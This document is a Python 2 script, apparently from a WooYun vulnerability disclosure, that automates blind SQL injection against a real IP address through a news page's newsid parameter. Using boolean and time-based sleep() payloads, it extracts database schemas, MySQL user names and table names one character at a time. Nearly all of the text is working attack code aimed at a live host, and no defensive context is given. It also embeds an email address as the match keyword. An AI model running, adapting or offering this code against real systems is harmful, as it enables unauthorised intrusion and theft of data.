WooYun.org

#encoding=utf-8
import requests
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63'
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.-:%')
def GetData(whatyouwant='user()',keyword=None,timeout=0,length=0):
    global payloads,host
    if length == 0:
        length = CheckDataLength(whatyouwant,timeout)
    result = ''
    if length!=0 and length != None:
        for j in range(1,length+1):
            for payload in payloads:
                #print(payload)
                if timeout !=0:
                    p = 'if(mid(%s,%d,1)=char(%d),sleep(%d),sleep(0))' % (whatyouwant,j,ord(payload),timeout)
                    if MakeaRequest(host,p,timeout=timeout):
                        result += payload
                        print('[In process]:%s==>%s' % (whatyouwant,result))
                        break
                else:
                    p = 'if(mid(%s,%d,1)=char(%d),1,0)' % (whatyouwant,j,ord(payload))
                    if MakeaRequest(host,p,keyword):
                        result += payload
                        print('[In process]:%s==>%s' % (whatyouwant,result))
                        break
def CheckDataLength(whatyouwant='user()',timeout=0,defaultlen=32):
    global host,keyword
    for i in range(1,defaultlen+1):
        if timeout !=0:
            payload = 'if(length(%s)=%d,sleep(%d),sleep(0))' % (whatyouwant,i,timeout)
            if MakeaRequest(host,payload,timeout=timeout):
                print("what you want[%s]====>length:%d",payload,i)
                return i
        else:
            payload = 'if(length(%s)=%d,1,0)' % (whatyouwant,i)
            if MakeaRequest(host,payload,keyword):
                print("what you want[%s]====>length:%d",payload,i)
                return i
    return None
def MakeaRequest(host,payload,key=None,timeout=0):
    global headers,payloadstart,payloadsend,keyword
    payload = '%s%s%s' % (payloadstart,urllib.quote(payload),payloadend)
    url = host+payload
    if key:
        try:
            req = requests.get(url,headers=headers)
        except Exception,e:
            print(str(e))
            return False
        if keyword in req.text:
            return True
        else:
            return False
    elif timeout >0:
        try:
            req = requests.get(url,headers=headers,timeout=timeout)
            return False
        except requests.Timeout,e:
            return True
    else:
        pass
host  = 'http://222.18.15.135/'
keyword = 'employ209@163.com'
payloadstart  = 'jiuye/shownews.php?type_id=5&newsid=-1%0a %26 '
payloadend  = ''
'''
#获取服务器所有的数据库
for i in range(11):
    pp = '(SelEct SCHEMA_NAME from information_schema.schemata limit %d,1)' % (i)
    GetData(pp,keyword)
'''
'''
#获取数据库所有用户
for i in range(2):
    #pp = '(select host from mysql.user limit %d,1)' % (i)
    pp = '(select user from mysql.user limit %d,1)' % (i)
    GetData(pp,keyword)
'''
'''
for i in range(118):
    pp = '(SelEct table_name from information_schema.TABLE_CONSTRAINTS where CONSTRAINT_SCHEMA=SCHEMA() limit %d,1)'\
         % (i)
    GetData(pp,keyword)
'''
GetData('schema()',keyword)